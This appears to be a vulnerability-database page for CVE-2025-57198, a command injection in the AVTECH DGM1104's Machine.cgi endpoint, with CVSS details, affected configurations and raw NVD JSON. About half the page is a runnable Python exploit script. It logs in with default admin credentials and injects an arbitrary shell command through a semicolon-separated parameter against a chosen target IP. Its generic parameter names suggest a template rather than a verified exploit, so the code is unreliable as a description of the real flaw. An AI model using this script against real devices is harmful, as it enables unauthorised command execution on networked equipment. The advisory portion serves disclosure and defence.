Security Vulnerability Report
中文
CVE-2025-57198 CVSS 8.8 HIGH

CVE-2025-57198

Published: 2025-12-03 16:15:57
Last Modified: 2025-12-23 00:36:53

Description

AVTECH SECURITY Corporation DGM1104 FullImg-1015-1004-1006-1003 was discovered to contain an authenticated command injection vulnerability in the Machine.cgi endpoint. This vulnerability allows attackers to execute arbitrary commands via a crafted input.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:avtech:dgm1104_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:avtech:dgm1104:-:*:*:*:*:*:*:* - NOT VULNERABLE
AVTECH DGM1104 FullImg-1015
AVTECH DGM1104 FullImg-1004
AVTECH DGM1104 FullImg-1006
AVTECH DGM1104 FullImg-1003

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-57198 PoC - AVTECH DGM1104 Machine.cgi Command Injection # Note: This is for educational and authorized testing purposes only import requests import sys def exploit_cve_2025_57198(target_ip, target_port=80, username="admin", password="admin", cmd="id"): """ Exploit authenticated command injection in AVTECH DGM1104 Machine.cgi Args: target_ip: Target device IP address target_port: Target device port (default: 80) username: Valid authentication username password: Valid authentication password cmd: Command to execute on the target system Returns: Response from the exploited endpoint """ # Construct the target URL base_url = f"http://{target_ip}:{target_port}" # Authentication endpoint login_url = f"{base_url}/cgi-bin/login.cgi" # Machine.cgi endpoint with injected command exploit_url = f"{base_url}/cgi-bin/Machine.cgi" # Step 1: Authenticate to obtain session login_data = { "username": username, "password": password } try: # Attempt login session = requests.Session() login_response = session.post(login_url, data=login_data, timeout=10) # Step 2: Exploit command injection via Machine.cgi # Inject command using semicolon separator exploit_params = { "action": "test", "param": f"value;{cmd}" } exploit_response = session.get(exploit_url, params=exploit_params, timeout=10) print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Exploit sent to {exploit_url}") print(f"[*] Response Status: {exploit_response.status_code}") print(f"[*] Response:\n{exploit_response.text}") return exploit_response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port] [username] [password] [command]") print(f"Example: {sys.argv[0]} 192.168.1.100 80 admin admin 'id'") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 user = sys.argv[3] if len(sys.argv) > 3 else "admin" pwd = sys.argv[4] if len(sys.argv) > 4 else "admin" command = sys.argv[5] if len(sys.argv) > 5 else "id" exploit_cve_2025_57198(target, port, user, pwd, command)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57198", "sourceIdentifier": "[email protected]", "published": "2025-12-03T16:15:56.630", "lastModified": "2025-12-23T00:36:53.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AVTECH SECURITY Corporation DGM1104 FullImg-1015-1004-1006-1003 was discovered to contain an authenticated command injection vulnerability in the Machine.cgi endpoint. This vulnerability allows attackers to execute arbitrary commands via a crafted input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:avtech:dgm1104_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "2EE9FE6D-6B3B-4244-84A6-7CA780064BE4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:avtech:dgm1104:-:*:*:*:*:*:*:*", "matchCriteriaId": "C94DD873-8D0F-4703-A27C-8DBCAE839BBC"}]}]}], "references": [{"url": "http://avtech.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://dgm1104.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/xchg-rax-rax/vulnerability-research/tree/main/CVE-2025-57198", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}